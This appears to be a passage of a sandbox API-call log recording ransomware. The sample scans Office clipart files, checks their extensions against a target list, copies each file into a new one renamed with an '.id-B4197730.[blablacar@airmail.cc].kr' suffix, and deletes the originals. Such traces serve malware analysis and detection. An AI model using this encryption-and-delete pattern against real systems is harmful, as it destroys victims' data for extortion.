lpString2=".WMF") returned -1 [0200.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.814] lstrlenW (lpString=".1cd") returned 4 [0200.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.814] lstrlenW (lpString=".jpg") returned 4 [0200.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.815] lstrlenW (lpString=".doc") returned 4 [0200.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.815] lstrlenW (lpString=".docx") returned 5 [0200.815] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0200.815] lstrlenW (lpString=".pdf") returned 4 [0200.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.815] lstrlenW (lpString=".xls") returned 4 [0200.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.815] lstrlenW (lpString=".xlsx") returned 5 [0200.815] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0200.815] lstrlenW (lpString=".ppt") returned 4 [0200.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.815] lstrlenW (lpString=".zip") returned 4 [0200.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.815] lstrlenW (lpString=".rar") returned 4 [0200.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.815] lstrlenW (lpString=".bz2") returned 4 [0200.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.815] lstrlenW (lpString=".7z") returned 3 [0200.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.815] lstrlenW (lpString=".dbf") returned 4 [0200.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.815] lstrlenW (lpString=".1cd") returned 4 [0200.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.816] lstrlenW (lpString=".jpg") returned 4 [0200.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.046] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0201.055] lstrlenW (lpString="J0099158.WMF") returned 12 [0201.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.272] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=26160) returned 1 [0201.273] CloseHandle (hObject=0x534) returned 1 [0201.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 0x220 [0201.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.274] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.274] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.275] GetLastError () returned 0x0 [0201.275] ReadFile (in: hFile=0x534, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x6630, lpOverlapped=0x0) returned 1 [0201.277] WriteFile (in: hFile=0x3e8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x6640, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x6640, lpOverlapped=0x0) returned 1 [0201.278] ReadFile (in: hFile=0x534, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.278] WriteFile (in: hFile=0x3e8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0201.278] SetEndOfFile (hFile=0x3e8) returned 1 [0201.279] CloseHandle (hObject=0x3e8) returned 1 [0201.279] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.279] SetEndOfFile (hFile=0x534) returned 1 [0201.282] CloseHandle (hObject=0x534) returned 1 [0201.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099158.wmf")) returned 1 [0201.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.285] lstrlenW (lpString=".doc") returned 4 [0201.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.285] lstrlenW (lpString=".docx") returned 5 [0201.285] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0201.285] lstrlenW (lpString=".pdf") returned 4 [0201.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.285] lstrlenW (lpString=".xls") returned 4 [0201.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.285] lstrlenW (lpString=".xlsx") returned 5 [0201.285] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0201.285] lstrlenW (lpString=".ppt") returned 4 [0201.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.285] lstrlenW (lpString=".zip") returned 4 [0201.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.285] lstrlenW (lpString=".rar") returned 4 [0201.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.285] lstrlenW (lpString=".bz2") returned 4 [0201.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.285] lstrlenW (lpString=".7z") returned 3 [0201.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.286] lstrlenW (lpString=".dbf") returned 4 [0201.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.287] lstrlenW (lpString=".1cd") returned 4 [0201.287] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.287] lstrlenW (lpString=".jpg") returned 4 [0201.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.287] lstrlenW (lpString=".doc") returned 4 [0201.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0201.287] lstrlenW (lpString=".docx") returned 5 [0201.287] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0201.287] lstrlenW (lpString=".pdf") returned 4 [0201.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0201.287] lstrlenW (lpString=".xls") returned 4 [0201.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0201.287] lstrlenW (lpString=".xlsx") returned 5 [0201.287] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0201.287] lstrlenW (lpString=".ppt") returned 4 [0201.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0201.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.287] lstrlenW (lpString=".zip") returned 4 [0201.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0201.287] lstrlenW (lpString=".rar") returned 4 [0201.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0201.287] lstrlenW (lpString=".bz2") returned 4 [0201.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0201.287] lstrlenW (lpString=".7z") returned 3 [0201.287] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0201.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.287] lstrlenW (lpString=".dbf") returned 4 [0201.287] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0201.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.288] lstrlenW (lpString=".1cd") returned 4 [0201.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0201.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099158.WMF") returned 68 [0201.288] lstrlenW (lpString=".jpg") returned 4 [0201.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0201.288] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.288] lstrlenW (lpString="J0099161.JPG") returned 12 [0201.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.289] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=7154) returned 1 [0201.289] CloseHandle (hObject=0x534) returned 1 [0201.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 0x220 [0201.289] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.289] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.289] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.290] GetLastError () returned 0x0 [0201.290] ReadFile (in: hFile=0x534, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1bf2, lpOverlapped=0x0) returned 1 [0201.292] WriteFile (in: hFile=0x3e8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1c00, lpOverlapped=0x0) returned 1 [0201.293] ReadFile (in: hFile=0x534, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.293] WriteFile (in: hFile=0x3e8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0201.293] SetEndOfFile (hFile=0x3e8) returned 1 [0201.294] CloseHandle (hObject=0x3e8) returned 1 [0201.294] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.294] SetEndOfFile (hFile=0x534) returned 1 [0201.297] CloseHandle (hObject=0x534) returned 1 [0201.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.297] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0201.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.298] lstrlenW (lpString=".doc") returned 4 [0201.298] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.299] lstrlenW (lpString=".docx") returned 5 [0201.299] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0201.299] lstrlenW (lpString=".pdf") returned 4 [0201.299] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.299] lstrlenW (lpString=".xls") returned 4 [0201.299] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.299] lstrlenW (lpString=".xlsx") returned 5 [0201.299] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0201.299] lstrlenW (lpString=".ppt") returned 4 [0201.299] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.299] lstrlenW (lpString=".zip") returned 4 [0201.299] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.299] lstrlenW (lpString=".rar") returned 4 [0201.299] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.299] lstrlenW (lpString=".bz2") returned 4 [0201.299] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.299] lstrlenW (lpString=".7z") returned 3 [0201.299] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.299] lstrlenW (lpString=".dbf") returned 4 [0201.299] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.299] lstrlenW (lpString=".1cd") returned 4 [0201.299] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.299] lstrlenW (lpString=".jpg") returned 4 [0201.299] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.299] lstrlenW (lpString=".doc") returned 4 [0201.299] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.299] lstrlenW (lpString=".docx") returned 5 [0201.300] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0201.300] lstrlenW (lpString=".pdf") returned 4 [0201.300] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.300] lstrlenW (lpString=".xls") returned 4 [0201.300] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.300] lstrlenW (lpString=".xlsx") returned 5 [0201.300] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0201.300] lstrlenW (lpString=".ppt") returned 4 [0201.300] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.300] lstrlenW (lpString=".zip") returned 4 [0201.300] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.300] lstrlenW (lpString=".rar") returned 4 [0201.300] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.300] lstrlenW (lpString=".bz2") returned 4 [0201.300] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.300] lstrlenW (lpString=".7z") returned 3 [0201.300] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.300] lstrlenW (lpString=".dbf") returned 4 [0201.300] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.300] lstrlenW (lpString=".1cd") returned 4 [0201.300] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099161.JPG") returned 68 [0201.300] lstrlenW (lpString=".jpg") returned 4 [0201.300] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.300] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0201.300] lstrlenW (lpString="J0099162.JPG") returned 12 [0201.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.302] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=19656) returned 1 [0201.302] CloseHandle (hObject=0x534) returned 1 [0201.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 0x220 [0201.302] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0201.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0201.302] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.302] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0201.303] GetLastError () returned 0x0 [0201.303] ReadFile (in: hFile=0x534, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x4cc8, lpOverlapped=0x0) returned 1 [0201.305] WriteFile (in: hFile=0x3e8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0201.306] ReadFile (in: hFile=0x534, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0201.307] WriteFile (in: hFile=0x3e8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0201.307] SetEndOfFile (hFile=0x3e8) returned 1 [0201.307] CloseHandle (hObject=0x3e8) returned 1 [0201.307] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0201.307] SetEndOfFile (hFile=0x534) returned 1 [0201.310] CloseHandle (hObject=0x534) returned 1 [0201.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0201.310] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.311] lstrlenW (lpString=".doc") returned 4 [0201.311] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0201.311] lstrlenW (lpString=".docx") returned 5 [0201.311] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0201.311] lstrlenW (lpString=".pdf") returned 4 [0201.311] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0201.311] lstrlenW (lpString=".xls") returned 4 [0201.311] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0201.311] lstrlenW (lpString=".xlsx") returned 5 [0201.311] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0201.311] lstrlenW (lpString=".ppt") returned 4 [0201.311] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.311] lstrlenW (lpString=".zip") returned 4 [0201.311] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0201.311] lstrlenW (lpString=".rar") returned 4 [0201.311] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0201.311] lstrlenW (lpString=".bz2") returned 4 [0201.311] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0201.311] lstrlenW (lpString=".7z") returned 3 [0201.311] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.311] lstrlenW (lpString=".dbf") returned 4 [0201.311] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0201.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.311] lstrlenW (lpString=".1cd") returned 4 [0201.311] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0201.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 [0201.312] lstrlenW (lpString=".jpg") returned 4 [0201.312] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0201.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099162.JPG") returned 68 